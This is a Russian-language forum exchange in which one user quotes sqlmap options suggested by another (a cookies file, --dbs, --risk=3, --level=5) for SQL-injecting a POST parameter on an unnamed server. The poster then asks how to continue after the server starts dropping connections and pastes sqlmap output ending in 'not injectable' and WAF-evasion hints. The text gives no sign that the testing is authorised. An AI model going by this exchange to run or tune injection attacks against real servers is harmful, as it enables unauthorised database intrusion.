Сообщение от
BabaDook
↑
тут файл с куками и прочим -p "service" --dbs --time-sec 5 --risk=3 --level=5
попробуй так, или установи старую версию sqlmap
Попробовал результат лучше но, теперь сервак выкидывает. Что можно далее предпринять?
[17:33:11] [INFO] POST parameter 'service' appears to be 'IBM DB2 stacked queries (heavy query - comment)' injectable
it looks like the back-end DBMS is 'IBM DB2'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
[17:34:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:34:27] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[17:34:27] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[17:34:27] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[17:34:27] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[17:34:27] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[17:34:27] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[17:34:27] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[17:34:27] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[17:34:27] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[17:34:27] [INFO] checking if the injection point on POST parameter 'service' is a false positive
[17:34:27] [CRITICAL] connection dropped or unknown HTTP status code received. Try to force the HTTP User-Agent header with option '--user-agent' or switch '--random-agent'. sqlmap is going to retry the request(s)
[17:34:27] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[17:34:27] [WARNING] false positive or unexploitable injection point detected
[17:34:27] [WARNING] POST parameter 'service' does not seem to be injectable
[17:34:27] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'